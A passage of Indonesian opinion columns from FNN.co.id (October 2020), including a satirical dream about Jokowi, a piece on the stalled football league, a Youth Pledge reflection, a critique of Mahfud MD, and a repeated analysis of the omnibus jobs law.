apa-apa. Sebab, mereka semua lari meninggalkan Jokowi ketika rakyat di seluruh Indonesia turun ke jalan. Sangat pantas tindakan beliau mencekal para cukong itu masuk kembali ke sini. Cerdas sekali. Luar biasa, Pak Jokowi. Para cukong tak berkutik. Karena dibuktikan sendiri oleh Pak Jokowi pengkhianatan mereka. Setelah itu, Jokowi akan mengumpulkan para pemimpin politik, tokoh agama, dan tokoh masyarakat di Istana. Saat itu juga Presiden menyampaikan pidato di depan rakyat. Disiarkan langsung oleh seluruh stasiun televisi. Jokowi mengatakan, “Mulai saat ini, tidak akan pernah ada lagi pengaruh para cukong. Siapa pun itu. Kedaulatan akan sungguh-sungguh berada di tangan rakyat.” Jokowi akan meminta maaf kepada seluruh rakyat. Setelah itu, dilaksanakan proses rekonsiliasi nasional pemilik asli Indonesia. Tidak ada lagi buzzer. Tidak ada lagi caci-maki dan penistaan. Rakyat kembali bersatu. Berangkulan untuk kejayaan bangsa dan negara. Indonesia langsung kondusif. Kadrun, kampret, dan cebong hilang seketika dari medsos. Para pemimpin yang dikumpulkan Pak Jokowi di Istana bersepakat untuk mengusulkan agar pasal “jabatan presiden hanya dua periode” diubah lewat sidang istimewa MPR. Agar Pak Jokowi boleh ikut pilpres 2024. Tapi, usul sidang istimewa itu diprotes keras oleh Prabowo Subianto. Prabowo mengatakan, ada konsensus antara dia dengan Ibu tentang pilpres 2024. Lagi pula, survei terbaru menunjukkan elektabilitas beliau untuk 2024 tertinggi di antara para balonpres. Yaitu, 16.8%. Mantan Danjen ini menegaskan, jika sidang istimewa MPR dilaksanakan dan Jokowi boleh maju lagi di pilpres 2024, maka dia (Prabowo) akan mundur dari kabinet dan kembali menjadi macan. Prabowo menegaskan, dia akan berpidato gebrak meja di Gelora Bung Karno meskipun stadionnya kosong. Dia juga bersumpah akan membatalkan rekonsiliasi dan legitimasi Lebak Bulus. Dan juga akan membayar makanan yang disantap di restoran Sate Khas Senayan. Serta akan mengembalikan nasi goreng Mbak Mega. Selain itu, Prabowo akan menarik dukungan Gerindra untuk Gibran dan Bobby. Mendengar reaksi Prabowo, Jokowi tak peduli. Dia ingin menjadi presiden tiga periode demi menjaga agar oligarki cukong tidak terulang. Jokowi bertekad membangun kehidupan sosial-politik yang sehat, beradab dan berkeadilan. Untuk menunjukkan tekad ini, Jokowi menyuruh Gibran dan Bobby mundur dari pilkada Solo dan Medan. Supaya tidak ada lagi hujatan soal dinasti. Hebat! Jokowi balik arah total. Rakyat pun gembira. Senang luar biasa. Tetapi, tiba-tiba ada panggilan telefon dari Makkah ke para tokoh nasional. Yang menelefon meminta agar rakyat waspada terhadap segala bentuk penipuan. Sayup-sayup saya dengar percakapan telefon itu. Tapi, pada saat bersamaan terdengar pula suara tilawah Qur’an dari masjid di depan rumah. Saya lihat jam. Pukul 04:30. “Astaghfirullah,” saya bergumam. “Mimpi rupanya.”[] (Penulis wartawan senior FNN.co.id)

"Dendam" Idham Azis Pada Ibul?

by Rahmi Aries Nova Jakarta FNN - Jumat (23/10). LIGA Indonesia musim 2020 terancam berhenti total, di saat, di berbgai belahan dunia lain, kompetisi sepakbolanya sudah berputar kembali. Meski Persatuan Sepakbola Seluurh Indonesia (PSSI) sudah bersiap melanjutkan Liga 1 yang baru menggelar tiga pertandingan sebelum pandemi Covid 19, serta memutar Liga 2, ternyata ijin yang dibutuhkan dari Kepolisian justru tidak turun. PSSI gagal mendapat ijin keramaian dari institusi Polri. Status Ketua Umum PSSI Mochamad Irawan, biasa disapa Iwan Bule (Ibul), yang mantan petinggi di Polri dengan pangkat terakhir Komisaris Jendral Polisi (Purn), sepertinya, tidak ada pengaruhnya. Mengapa Iwan Bule tidak mampu melobi Kapolri Jendral Idham Azis? Bukankah tiga hal yang menjadi pertimbangan tidak dikeluarkannya ijin keramaian untuk Liga bisa didiskusikan? Padahal Liga yang sedianya akan digelar awal Oktober lalu, seperti yang dipaparkan Kepala Divisi Humas Polri Irjen Pol. Argo Yuwono, Selasa (29/9) semuanya bisa "didiskusikan kembali". Pertama, situasi pandemi Covid-19 di Indonesia masih terus berlangsung. Jumlah masyarakat yang terinfeksi virus tersebut juga masih tinggi. Faktanya saat ini kurvanya sudah semakin menurun. Kesadaran masyarakat terhadap upaya pencegahan Covid juga semakin tinggi. Kedua, jika Polri bersikukuh telah lebih dulu mengeluarkan maklumat untuk tidak memberikan izin keramaian di semua tingkatan. Kenyataan Pilkada dan demo di berbagai daerah tetap berlangsung dengan massa yang jauh lebih banyak dari pada menggelar pertandingan tanpa penonton. Terakhir, saat ini Polri bersama TNI mengaku tengah berkonsentrasi melakukan Operasi Yustisi untuk mendukung kebijakan pemerintah daerah dalam menerapkan protokol kesehatan. Padahal partai-partai Liga yang akan digelar pun pasti menggunakan aturan dan protokol Covid yang ketat. Usai mengikuti Rapat Terbatas dalam Persiapan Piala Dunia U-20 di Istana Kepresidenan Bogor pada Selasa (20/10) Iwan Bule meminta dukungan dari pemerintah agar kompetisi bisa terus berjalan. Alasannya agar program dari pelatih Timnas Indonesia U-19, Shin Tae-yong tidak hilang. Pelatih asal Korea itu memang ingin pemainnya bertambah jam terbangnya lewat kompetisi dan bisa mendapat tambahan pemain baru hasil kompetisi, sebelum timnya berlaga tahun depan. Tapi apakah Iwan Bule (Ibul) bakal beroleh dukungan dari Kapolri? PSSI masih harus menunggu. Atau betulkah rumor bahwa Idham masih menyimpan dendam pada Ibul? Semoga tidak. Karena kepentingan nasional sudah seharusnya diletakkan di atas segalanya. Penulis adalah Wartawan Senior FNN.co.id.

Menuju Kongres Pemuda Era Digital

by Chaerudin Affan Jakarta FNN – Jum’at (23/10). Pada era awal-awal pergerakan modern di tahun 1910-1920-an, terdapat banyak organisasi pendidikan atau organisasi kepemudaan di Indonesia. Semangat mereka adalah menuntut perbaikan hidup, keadilan, dan kesetaraan. Pada tahun-tahun itu pula para pendiri negara sudah mulai bergerilya hingga Eropa sana. Kaum pemuda terpelajar melakukan konsulidasi dan penyadaran kepada masyarakat. Diperlukan adanya kesadaran perlawanan terhadap penindasan yg dilakukan penjajah kala itu. Maka pergerakan pemuda dilakukan hampir di setiap daerah. Gerakan mogog kerja juga tercatat pernah dilakukan dalam sejarah penjajahan ketika itu. Hingga akhirnya konsepsi negara republik Indonesia berhasil di sounding oleh pemudan dan terpelajar di pertengahan 1920-1930. Tan Malaka yang tercatat pernah menyurukan melalui bukunya “Naar de Republike Indonesia” di tahun 1925. Setelah itu, berikutnya dilantangkan kembali oleh Soekarno. Konsepsi sebuah negara merdeka, menjadi nafas baru dari gerakan pemuda dan intelektual Nusantara. Dengan sigap para tokoh muda seperti Kartosoewirjo, Mohammad Roem, J. Leimena, Soegondo Djojopoespito, Djoko Marsaid, Adnan Kapau Gani, M. Yamin, Amir Syarifuddin Harahap, W.R Supratman, S. Mangoensarkoro, Sie Kong Liong, dan Kasman Singodimedjo merumuskan sumpah pemuda yang merupakan kristalisasi dari pembahasan dalam kongres pemuda kedua 1928. Kongres pemuda melibatkan organisasi-organisasi kepemudaan yang berbasis kesukuan dan organisasi pendidikan. Dalam kongeres tersebut hadir Jong Java, Jong Ambon, Jong Celebes, Jong Sumatranen Bond, Jong Borneo, Jong Islamieten Bond, Sekar Rukun, Perhimpunan Pelajar-pelajar Indonesia (PPPI), dan Pemuda Kaum Betawi. Konsulidasi membunyikan gong persatuan perlawanan terhadap penindasan yg dilakukan penjajah. Lalu mendeklarasikan diri sebagai satu bangsa, terjadi pada tahun 1928. Dengan semangat persatuan, mereka berikrar, "Kami putra dan putri Indonesia, mengaku bertumpah darah yang satu, tanah Indonesia. Kami putra dan putri Indonesia mengaku berbangsa yang satu, bangsa Indonesia. Kami putra dan putri Indonesia menjunjung bahasa persatuan bahasa Indonesia." Zaman terus berganti, hingga beberapa puluh tahun kemudian ikrar tersebut bertemu dengan ridho Tuhan. Kemerdekaan pun menjadi kenyataan. Malam itu sebelum pidato kemerdekaan Soekarno dan Hatta di bacakan, kaum muda mengambil peran untuk membujuk kedua tokoh nasional agar segera mendeklarasikan kemerdekaan. Sukarni, Yusuf Kunto, dan kawan-kawan yang menjadi tokoh muda saat itu berhasil membujuk Soekarno dan Hatta untuk segera mendeklarasikan kemerdekaan. Berselang 25 tahun dari kemerdekaan Indonesia, situasi guncang ganjing. Kondisi sosial, ekonomi dan politik bermasalah. Lagi-lagi, kaum muda kembali menunjukan perannya. Keritik pedas terhadap situasi tersebut berlangsung bertahun-tahun mewarnai surat kabar nasional. Konsepsi-konsepsi pemikiran kaum terpelajar yang terpadu dengan kepekaan terhadap situasi masyarakat menjadi pendobrak, menuju harapan baru. Tidak juga kita lupa pada tahun 1974. Kalangan mahasiswa bersama rakyat melakukan keritik keras terhadap investasi besar-besaran dari luar negeri, khususnya Jepang. Dan tentu belum lekang dari ingatan kita pergolakan menuju reformasi 1998. Kaum muda juga menjadi motor dalam perubahan. Kini 92 tahun sudah sejak Ikrar para pemuda saat itu dikumandangkan 1928. Zaman juga sudah berganti berkali-kali. Negara tercinta sudah mengalami cobaan yang tidak sekali. Era digital katanya, saat dunia seolah dilipat dengan kemajuan teknologi. Saat ini siilaturahmi dan diskusi bisa dilakukan dari jarak jauh. Informasi yang dulunya hanya dimiliki kaum elit, kini bisa dengan terbuka diakses lewat internet. Konsepsi bisa disebarkan melalui media sosial. Namun tantangan yang dihadapi juga berbeda dengan zaman sebelunya. Tantangan semakin berat. Zaman yang sudah berganti lalu membawa kemajuan teknologi menjadi sebuah keniscayaan yang terbukti. Namun pokok-pokok permasalahan juga seling barganti tidak jarang terulang lagi. Keadilan, kesetaraan, kemiskinan, kelaparan, dan penindasan belum juga terselesaikan. Semangat kebersamaan untuk membawa Indonesia mencapai cita-citanya perlu lagi diingatkan. Memperingati Sumpah Pemuda 1928 adalah cara mencari spirit kebersamaan untuk menyelesaikan permasalahan yang kerap menyandra Indonesia untuk melangkah ke depan. Suara pemuda perlu lagi digaungkan. Gagasan-gagasan pemuda perlu lagi dipertemukan. Tentu tidak lagi dengan entitas kesukuan, karena sejak 1928 kita sudah berikrar menjadi satu bangsa. Perjalanan kekini sering memisahkan kaum muda atas profesinya. Hal itu digambarkan dengan besarnya ego sektoral yang kerap menjadi momok penghabat sinergisitas dan akselerasi pembangunan. Untuk itu, bersamaan tulisan ini, saya mengundang kawan-kawan pemuda dari lintas profesi untuk bergabung dalam diskusi merefleksikan Sumpah Pemuda yang diselenggarakan oleh Pusat Kajian Kepemudaan (PUSKAMUDA) FISIP Universitas Indonesia. Diskusi akan diselenggarakan secara online melalui media zoom, pada tanggal 28 Oktober 2020. Kami berharap suara anda bergabung di ruang diskusi. Salam Pemuda... Bahwa sesungguhnya pemuda adalah harapan untuk Indonesia mencapai cita-citanya, yang adil dan makmur. Amin Peulis adalah Direktur Pemberdayaan Masyarakat Pusat Kajian Kepemudaan (PUSKAMUDA) FISIP Universitas Indonesia

Mahfud MD Hanya Bisanya Ngalor-Ngidul

by M Rizal Fadillah Bandung FNN – Jum’at (23/10). Dalam acara Karni Ilyas Indonesia Lawyers Club (ILC), Menteri Kordinator Bidang Politik Hukum dan Keadamana (Polhukam) Mahfud MD kesannya menyalahkan publik atas kritik kepada Pemerintah dengan jalan pikiran bahwa semua Pemerintah selalu disalahkan. Mahfud MD berapologi bahwa siapapun yang duduk di Pemerintahan tidak akan mampu memperbaiki keadaan. Skeptisme sebagai alasan pembenar. Padahal ciri pemerintah demokrasi adalah kuanya masyarakat sipil (civil socety) melakukan kontrol sosial atas jalannya pemerintahan. Kecuali untuk bentuk pemerintahan yang otoritas, check and balances tidak dibutuhkan. Mahfud mencontohkan Amin Rais sebagai "Bapak Reformasi". Meskipun menjadi Ketua Mejelis Permusyawaratan Rakyat (MPR), tetapi tetap tidak mampu mengatasi korupsi dan kronisme. Gatot Nurmantyo yang Panglima TNI juga tidak dapat menangkap kader Partai Komunis Indonesia (PKI) atau yang berfaham komunis. Begitu juga dengan Rizal Ramli sampai mantan Hakim Agung Artijo Alkostar disebut-sebut oleh Mahfud. Kemudian Mahfud menunjukkan fakta bahwa semua Pemerintah dikritik. Bahkan ada pula yang sampai dijatuhkan. Karenanya dimaklumi, kalau Pemerintahan Jokowi juga selalu saja disalahkan. Konon hal ini menjadi konsekuensi dari pelaksanaan asas demokrasi, dan opsi sebaliknya adalah Pemerintahan yang otoriter. Sesuatu yang dapat ditafsirkan sebagai ancaman Mahfud. Yang lucu dan menggelikan lagi, secara sumier disebut semua Presiden turun atau diturunkan dengan tuduhan melanggar Pancasila. Entah data sejarah darimana Mahfud berkesimpulan sesederhana itu. Malah tidak ada satupun Presiden yang turun akibat melanggar Pancasila. Sekelas Soekarno pun diturunkan karena berhubungan dengan kasus G-30/S PKI. Soeharto turun soal krisis ekonomi dan korupsi. Rakyat marah karena otoritarisme pemrintahan Soeharto, dengan menjadikan ABRI penopang kekuasaan 32 tahun. Habibie diturunkan karena efek dari referendum Timur-Timor. Demikian pula Presiden yang lain lebih spesifik lagi. Bahkan ada yang lengser dengan normal seperti Megawati Soekarnoputri dan Soesila Bambang Yudhoyono. Bahwa rakyat melakukan kritik terhadap setiap Pemerintahan, bukan menjadi alasan pembenar dari Pemerintahan Jokowi sekarang. Bahwa seakan-akan pemerintahan Jokowi telah benar dalam melaksanakan tata kelola pemerintahan yang benar sesuai undang-undang yang berlaku. Presiden Jokowi lebih parah dari persiden-presiden sebelumnya. Apa yang dikemukakan Mahfud MD ini dinilai hanya ngalor-ngidul, apologetik saja. Tidak ilmiah, dan bukan pandangan yang rasional, apalagi solutif. Mahfud MD sebenarnya mengakui akan ketidakmampuan dirinya. Hanya saja Mahfud tampil dalam kepribadian yang terbelah, antara kepakaran di bidangnya dengan kedudukannya sebagai bagian dari Pemerintahan. Akibatnya, argumen yang dikemukakan menjadi naif dan cenderung menembak orang lain hanya untuk membenarkan dirinya dan pemerintah sekarang. Mahfud MD semakin tenggelam dalam kolam keruh kabinet pimpinan Jokowi. Terengah-engah mendalihkan pembenaran. Sayangnya, bukan berdasar pada dalil kebenaran. Kelu lidah untuk menyatakan kejujuran dan keadilan secara konsisten. Publik kini sedang melihat perkembangan politik yang semakin memanas akibat kebijakan yang tidak pro rakyat. Kebijakan yang hanyap bersikap pragmatik. Kebijakan yang hanya pro kepada oligarkis, korporasi dan konglomerasi busuk, licik, picik, culas dan tamak. Mahfud sang Menko Polhukam nampaknya terus dan senang berputar-putar ngalor-ngidul di pusaran air yang hampir menenggelamkan kekuasaan. Selamat atau tidaknya sang Guru Besar ini tergantung pada kesadaran dirinya untuk membelah atau tidak berkepribadian. Yang pasti Mahfud mulai kehilangan cara berpikir yang sehat sebagai seorang Guru Besar. Ilmuan yang mengabdi kepada kebenaran berdasarkan ilmu pengetahuan. Argumen yang tidak ajeg dan ngalor-ngidul membuat Mahfud MD kehilangan jati dirinya. Sementara lingkungan dan jabatan telah memenjarakan fikiran, fisik dan psikisnya. Kemudian, ia semakin jauh saja dari simpati publik. Oh, Mahfud yang malang. Penulis adalah Pemerhati Politik dan Kebangsaan.

Misteri Black Box dan Krisis Legitimasi Jokowi

by TB. Massa Djafar Jakarta FNN - Jumat (23/10). Ketuk palu DPR mensahkan Omnibus law, Rancangan Undang-Undang Cipta Kerja 5 Oktober 2020, telah menimbulkan berbagai reaksi dikalangan publik. Ditambah, aksi walk out Fraksi Demokrat dan Fraksi Keadilan Sejahtera dari sidang DPR. Kedua fraksi tersebut, menolak pengesahan RUU Cipta kerja. Dengan alasan, subtansinya merugikan rakyat dan belum memegang draft RUU Ciptaker. Komnas HAM menilai UU Cipta kerja janggal, ada nya penambahan jumlah 130 halaman. Disinyalir, kemungkinan masuknya pasal seludupan. Keterangan dari Sekretaris Jenderal DPR RI, draft final berjumlah 1.035 halaman. Padahal draft rapat paripurna 5 Oktober hanya 905 halaman. Bahkan, terakhir ada 5 versi draft yang beredar. Simpang iur seputar draft UU Cipta kerja, hingga menimbulkan berbagai persepsi dan kesimpulan berbeda beda. Pendirian buruh misalnya, sejak draft awal (proses input) akan dibawa ke DPR mereka sudah menolak. Hingga aksi turun kejalan, menolak untuk disahkan menjadi UUD Cipta kerja yang sudah menjadi (proses output), keputusan DPR. Gelombang penolakan keputusan DPR tidak hanya dari kelompok buruh, juga dari berbagai elemen masyarakat dan bersifat nasional. Black Box Yang menarik, selain reaksi keras kaum buruh, fokus perhatian publik pada misteri perubahan draft asli RUU Cipta Kerja. Menurut versi pemerintah, dalam pidato Presiden Jokowi, ia meyakinkan kepada buruh dan publik agar tidak terpengaruh hoax. Bahwa RUU Omnibuslaw justru membela kaum buruh dan nasib kelompok Usahan Mikro dan Menegah (UMKM). Sedangkan pihak kontra pemerintah, misalnya F.Demokrat dan F.PKS, maupun kalangan pengamat, mempertanyakan mana draft versi pemerintah. Kejanggalan terdapat pada subtansi dan seputar prosedur pengesahan RUU Omni Buslaw terkesan tidak transparan. Seperti ada yang disembunyikan. Ada dugaan, terjadi perubahan atau perbaikan pasal-pasal krusial berpotensi pelanggaran HAM, merugikan buruh dan mengutungkan pada oligharki. Melihat fakta-fakta tersebut, kecurigaan publik tentu bukan tanpa alasan. Kontroversi dalam proses pengambilan keputusan, penyeludupan pasal atau tukar guling pasal ditenggarai kerap terjadi di DPR. Sebuah proses politik tak terhindarkan, sebagai arena pertarungan berbagai kelompok kepentingan. Yang bisa mengubah dan menetukan keputusan final (output). Dinamika tersebut, dalam istilah seorang ahli ilmu politik, David Easton, menamakan kotak hitam (Black Box) penuh misterius. Dan membuka ruang, dimana proses input (within input) jadi tunggangan kepentingan. Sehingga ia menentukan ouput / keputusan final tidak sesuai atau bahkan bertolak belakang dengan input atau aspirasi publik. Fenomena black box tak terhindarkan dalam proses output, pada sistem politik sedemokratis apapun. Ia penuh misteri, kontradiktif bahkan antagonis dengan kadar yang berbeda beda dan dampak politis yang ditimbulkan. Pengakuan dua Fraksi yang menolak RUU Cipta kerja, memberi isyarat, misteri kotak hitam itu (black box). Sehingga pro kontra antara pemerintah dan masyarakat sipil semakin tajam dan memanas. Dalam waktu bersamaan, gelombang protes keras terhadap UU cilaka inipun semakin meluas. Pemerintah terus dibombardir pertanyaan kritis dari berbagai kelompok masyarakat sipil. Pemerintah semakin terpojok, tidak mampu meyakinkan protes publik. Terus mempertanyakan, mana naskah asli RUU Cipta kerja maupun dalam bentuk yang sudah disahka Shadow State dan Oligharki. Misteri black box dalam kadar ekstrim tidak berdiri sendiri. Ia sangat dipengaruhi oleh sistem kekuasaan, relasi aktor yang bekerja dalam sistem politik suatu negara. Terutama pada negara-negara non demokratik (autotaritarian). Pertanyaan kunci untuk mengindentifikasi masalah, adalah struktur politik kekuasaan dan kelompok kepentingan mana yang dominan “mendikte” atau memanipulasi proses pengambilan keputusan. Pendekatan dan analisis sistem demokratis kurang signifikan dalam menjelaskan realitas politik. Peran dan fungsi struktur politik formal tidak sebagaimana tertulis dalam text book. Memuat prinsip demokrasi ideal, normatif. Termasuk peran media massa sebagai pilar keempat demokrasi yang terkooptasi kekuasaan. Shadow State salah satu pendekatan atau konsep teoritis alternatif untuk membongkar distorsi dan deviasi proses politik. Atau konsep serupa apa yang disebut Oligharki. Kedua konsep tersebut, menggambarkan dimana para elit atau kelompok pengambil keputusan merupakan aktor negara. Seperti Birokrat, Pejabat Negara, dan Pemilik Modal sebagai kekuatan politik (olihgarki atau shadow state) yang punya kepentingan sendiri mengatasnamakan kepentingan negara. Output keputusan politik strategis tersirat didalamnya kepentingan (vested interest) ekonomi politik aktor shadow state atau oligharki menabrak kepentingan publik bahkan merugikan kepentingan negara. Model kepolitikan demikian, hanya bisa eksis pada sistem authoritarian. Sementara kekuatan masyarakat sipil tidak efektif karena dihadang kekuatan politik formal sepeti partai politik atau parlemen yang sudah terkoptasi oleh shadow state atau oligharki. Realitas politik demikian ada riwayatnya. Sudah rahasia umum, politik pengaruh melalui instrumen politik uang ikut mempengaruhi kontestasi dan hasil pemilu mulai dari pilpres, pilkada, pileg. Kehadariran oligharki pasca reformasi menjadi power full dalam kacah ekonomi politik. Liberalisasi politik dan demokrasi berubah sebagai sarana transaksional dan pertukaran nilai. Yaitu, antara pemegang kekuasaan dan pemodal dalam membangun konspiratif dalam sistem kekuasaan. Alokasi proyek pembangunan, alokasi anggaran, pemberian monopoli penguasaan sumber daya alam, tambang mineral dan batubara. Konsensi lahan, dan impor dan ekspor komoditas. Ditambah, proyek-proyek investasi modal asing berkoloborasi dan terkoneksi jaringan bisnis para oligharki. Dengan demikian, sukar dielakkan ciri-ciri kedua model kepolitikan tersebut semakin menguat di era pemerintahan Jokowi. Kebebasan pers dalam kendali kekuasaan, kelompok oposisi atau tokoh-tokoh politik kritis begitu mudah dijerat hukum pasal ITE. Sebagian para akademisi, peneliti, praktisi menilai, produk perundang-undangan seperti, UU KPK, UU Minerba, Perpu Covid, mengabaikan nilai-nilai demokrasi dan keadilan. Ditambah, RUU Haluan Ideologi Pancasila yang dianggap oleh umat islam betentangan dengan Islam dan Pancasila itu sendiri. Kebijakan-kebijakan yang dihasilkan itu, ikut menyuburkan resistensi terhadap pemerintahan Jokowi. Bahkan menurut pendapat Gatot Nurmantyo, UU Cipta Kerja menimbulkan kegaduhan politik. Dari pandangan masyarakat sipil menilai, sebagian subtansi UU Ciptaker lebih menguntungkan para oligharki dan merugikan kepentigan rakyat. Mengingat setidaknya ada 262 anggota DPR berasal dari pebisnis. Dan sekelompok kecil di antaranya jadi tim Satgas dan Panja Omnibus law. Tentu, peran para aktor tersebut, ada dalam pusaran konflik kepentingan industri tambang dan energy sebagai proses (within input), misteri black box pengambilan keputusan. Para ahli ilmu politik, berpendapat bahwa model kepolitikan shadow state atau oligharki sebagai suatu gejala destruktif dalam proses pembangunan politik. Karena telah membajak, bahkan dapat menghancurkan sistem demokrasi. Akibat paling tragis, menyandra kekuasaan presiden yang semestinya berpihak pada kepentingan rakyat. Konstalasi seperti ini justru mereproduksi polical decay, semakin memperburuk legitimasi Jokowi semenjak awal sudah dipersoalkan oleh sebagian publik. Oleh karenannya, krisis politik akan terus menghantui Indonesia. Mengingat problem ketimpangan sosial ekonomi, perkembangan ekonomi memburuk, pengangguran, kemiskinan, korupsi. Diperparah keadaan sebelumnya, yaitu pelemahan KPK dan MK sebagai lembaga banding penyelesaian konflik konstitusi tak memiliki gigi. Penurunan indeks demokrasi dan indeks persepsi korupsi, dampak pandemik covid 19 dan diambang resisi ekonomi. Persekusi dan diskrimiasi hukum terhadap para ulama, penanganan demo belakangan ini sangat represif. Justru, semakin memperkuat solidaritas masyarakat sipil dan perlawanan terhadap pemerintah Jokowi. Sementara, dinamika sosial, kemerosotan ekonomi dan pragmentasi sosial politik begitu tajam memberikan efek langsung pada penurunan kapasitas pemerintah. Sehingga akumulasi masalah pelbagai masalah menjadi perkerjaan tambahan dan beban politik. Sementara kemampuan pemerintah Jokowi dalam menyelesaikan masalah dan legitimasi semakin merosot. Pertanyaannya, apakah pemerintah Jokowi masih mampu menyelesaikan berbagai persoalan pelik seiring dengan krisis politik dan ekonomi yang berlangsung? Yaitu bagaimana mencari jalan keluar. Misalnya segera membatalkan UU Cipta kerja, bebaskan tahanan politik yang dijerat dengan pasal karet. Menghentikan cara-cara tak lazim dalam mengelola konflik politik. Termasuk peran buzzer yang justru memperkeruh iklim politik. Tidak mengeluarkan kebijakan atau pernyataan yang dapat menimbulkan kegaduhan politik. Mencopot pejabat negara atau aparat keamanan yang ditenggarai menghasilkan kegaduhan politik. Membuka ruang akomodasi politik, memaksimalkan fungsi reperesentasi politik. Jika jalan perbaikan tak berhasil, maka semakin mempercepat krisis politik dan delegitimasi Jokowi, seiring semakin derasnya tuntutan rakyat, mendesak Jokowi mundur dari jabatan presiden. Penulis adalah Akademisi dan Aktivis Politik

Misteri Black Box dan Krisis Legitimasi Jokowi

by TB.Massa Djafar Jakarta FNN - Jumat (23/10). Ketuk palu DPR mensahkan Omnibus law, Rancangan Undang-Undang Cipta Kerja 5 oktober 2020, telah menimbulkan berbagai reaksi dikalangan publik. Ditambah, aksi walk out Fraksi Demokrat dan Fraksi Keadilan Sejahtera dari sidang DPR. Kedua fraksi tersebut, menolak pengesahan RUU Cipta kerja. Dengan alasan, subtansinya merugikan rakyat dan belum memegang draft RUU Ciptaker. Komnas HAM menilai UU Cipta kerja janggal, adanya penambahan jumlah 130 halaman. Disinyalir, kemungkinan masuknya pasal seludupan. Keterangan dari Sekretaris Jenderal DPR RI, draft final berjumlah 1.035 halaman. Padahal draft rapat paripurna 5 Oktober hanya 905 halaman. Bahkan, terakhir ada 5 versi draft yang beredar. Simpang iur seputar draft UU Cipta kerja, hingga menimbulkan berbagai persepsi dan kesimpulan berbeda beda. Pendirian buruh misalnya, sejak draft awal (proses input) akan dibawa ke DPR mereka sudah menolak. Hingga aksi turun kejalan, menolak untuk disahkan menjadi UUD Cipta kerja yang sudah menjadi (proses output), keputusan DPR. Gelombang penolakan keputusan DPR tidak hanya dari kelompok buruh, juga dari berbagai elemen masyarakat dan bersifat nasional. Misteri Black Box Yang menarik, selain reaksi keras kaum buruh, fokus perhatian publik pada misteri perubahan draft asli RUU Cipta Kerja. Menurut versi pemerintah, dalam pidato Presiden Jokowi, ia meyakinkan kepada buruh dan publik agar tidak terpengaruh hoax. Bahwa RUU Omnibuslaw justru membela kaum buruh dan nasib kelompok Usahan Mikro dan Menegah (UMKM). Sedangkan pihak kontra pemerintah, misalnya F.Demokrat dan F.PKS, maupun kalangan pengamat, mempertanyakan mana draft versi pemerintah. Kejanggalan terdapat pada subtansi dan seputar prosedur pengesahan RUU Omni Buslaw terkesan tidak transparan. Seperti ada yang disembunyikan. Ada dugaan, terjadi perubahan atau perbaikan pasal-pasal krusial berpotensi pelanggaran HAM, merugikan buruh dan mengutungkan pada oligharki. Melihat fakta-fakta tersebut, kecurigaan publik tentu bukan tanpa alasan. Kontroversi dalam proses pengambilan keputusan, penyeludupan pasal atau tukar guling pasal ditenggarai kerap terjadi di DPR. Sebuah proses politik tak terhindarkan, sebagai arena pertarungan berbagai kelompok kepentingan. Yang bisa mengubah dan menetukan keputusan final (output). Dinamika tersebut, dalam istilah seorang ahli ilmu politik, David Easton, menamakan kotak hitam (Black Box) penuh misterius. Dan membuka ruang, dimana proses input (within input) jadi tunggangan kepentingan. Sehingga ia menentukan output / keputusan final tidak sesuai atau bahkan bertolak belakang dengan input atau aspirasi publik. Fenomena black box tak terhindarkan dalam proses output, pada sistem politik sedemokratis apapun. Ia penuh misteri, kontradiktif bahkan antagonis dengan kadar yang berbeda beda dan dampak politis yang ditimbulkan. Pengakuan dua Fraksi yang menolak RUU Cipta kerja, memberi isyarat, misteri kotak hitam itu (black box). Sehingga pro kontra antara pemerintah dan masyarakat sipil semakin tajam dan memanas. Dalam waktu bersamaan, gelombang protes keras terhadap UU cilaka inipun semakin meluas. Pemerintah terus dibombardir pertanyaan kritis dari berbagai kelompok masyarakat sipil. Pemerintah semakin terpojok, tidak mampu meyakinkan protes publik. Terus mempertanyakan, mana naskah asli RUU Cipta kerja maupun dalam bentuk yang sudah disahkan ? Antara Shadow State dan Oligharki. Misteri black box dalam kadar ekstrim tidak berdiri sendiri. Ia sangat dipengaruhi oleh sistem kekuasaan, relasi aktor yang bekerja dalam sistem politik suatu negara. Terutama pada negara-negara non demokratik (autotaritarian). Pertanyaan kunci untuk mengindentifikasi masalah, adalah struktur politik kekuasaan dan kelompok kepentingan mana yang dominan “mendikte” atau memanipulasi proses pengambilan keputusan. Pendekatan dan analisis sistem demokratis kurang signifikan dalam menjelaskan realitas politik. Peran dan fungsi struktur politik formal tidak sebagaimana tertulis dalam text book. Memuat prinsip demokrasi ideal, normatif. Termasuk peran media massa sebagai pilar keempat demokrasi yang terkoptasi kekuasaan. Shadow State salah satu pendekatan atau konsep teoritis alternatif untuk membongkar distorsi dan deviasi proses politik. Atau konsep serupa apa yang disebut Oligharki. Kedua konsep tersebut, menggambarkan dimana para elit atau kelompok pengambil keputusan merupakan aktor negara. Seperti Birokrat, Pejabat Negara, dan Pemilik Modal sebagai kekuatan politik (olihgarki atau shadow state) yang punya kepentingan sendiri mengatasnamakan kepentingan negara. Output keputusan politik strategis tersirat didalamnya kepentingan (vested interest) ekonomi politik aktor shadow state atau oligharki menabrak kepentingan publik bahkan merugikan kepentingan negara. Model kepolitikan demikian, hanya bisa eksis pada sistem authoritarian. Sementara kekuatan masyarakat sipil tidak efektif karena dihadang kekuatan politik formal sepeti partai politik atau parlemen yang sudah terkoptasi oleh shadow state atau oligharki. Realitas politik demikian ada riwayatnya. Sudah rahasia umum, politik pengaruh melalui instrumen politik uang ikut mempengaruhi kontestasi dan hasil pemilu mulai dari pilpres, pilkada, pileg. Kehadariran oligharki pasca reformasi menjadi power full dalam kacah ekonomi politik. Liberalisasi politik dan demokrasi berubah sebagai sarana transaksional dan pertukaran nilai. Yaitu, antara pemegang kekuasaan dan pemodal dalam membangun konspiratif dalam sistem kekuasaan. Alokasi proyek pembangunan, alokasi anggaran, pemberian monopoli penguasaan sumber daya alam, tambang mineral dan batubara. Konsensi lahan, dan impor dan ekspor komoditas. Ditambah, proyek-proyek investasi modal asing berkoloborasi dan terkoneksi jaringan bisnis para oligharki. Dengan demikian, sukar dielakkan ciri-ciri kedua model kepolitikan tersebut semakin menguat di era pemerintahan Jokowi. Kebebasan pers dalam kendali kekuasaan, kelompok oposisi atau tokoh-tokoh politik kritis begitu mudah dijerat hukum pasal ITE. Sebagian para akademisi, peneliti, praktisi menilai, produk perundang-undangan seperti, UU KPK, UU Minerba, Perpu Covid, mengabaikan nilai-nilai demokrasi dan keadilan. Ditambah, RUU Haluan Ideologi Pancasila yang dianggap oleh umat islam betentangan dengan islam dan Pancasila itu sendiri. Kebijakan-kebijakan yang dihasilkan 